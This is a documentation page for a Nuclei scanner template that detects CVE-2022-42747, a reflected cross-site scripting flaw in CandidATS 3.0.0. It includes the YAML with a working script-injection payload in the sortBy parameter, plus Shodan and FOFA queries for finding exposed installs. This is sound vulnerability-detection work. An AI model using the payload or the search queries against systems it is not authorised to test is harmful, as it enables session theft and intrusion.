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CandidATS 3.0.0 - Cross-Site Scripting.

ID: CVE-2022-42747

Severity: medium

Author: arafatansari

Tags: cve,cve2022,candidats,xss,auieo

Description

Section titled “Description”

CandidATS 3.0.0 contains a cross-site scripting vulnerability via the sortBy parameter of the ajax.php resource. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

YAML Source

Section titled “YAML Source”
id: CVE-2022-42747


info:
  name: CandidATS 3.0.0 - Cross-Site Scripting.
  author: arafatansari
  severity: medium
  description: |
    CandidATS 3.0.0 contains a cross-site scripting vulnerability via the sortBy parameter of the ajax.php resource. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the application.
  remediation: |
    To mitigate this vulnerability, it is recommended to apply the latest security patch or upgrade to a non-vulnerable version of CandidATS.
  reference:
    - https://fluidattacks.com/advisories/modestep/
    - https://fluidattacks.com/advisories/jcole/
    - https://candidats.net/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-42747
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-42747
    cwe-id: CWE-79
    epss-score: 0.00109
    epss-percentile: 0.43507
    cpe: cpe:2.3:a:auieo:candidats:3.0.0:-:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: auieo
    product: candidats
    shodan-query:
      - http.html:"CandidATS"
      - http.html:"candidats"
    fofa-query: body="candidats"
  tags: cve,cve2022,candidats,xss,auieo


http:
  - method: GET
    path:
      - '{{BaseURL}}/ajax.php?f=getPipelineJobOrder&joborderID=50&page=0&entriesPerPage=15&sortBy=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&sortDirection=desc&indexFile=1&isPopup=0'


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>'
          - 'candidat'
        condition: and


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 404
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-42747.yaml"

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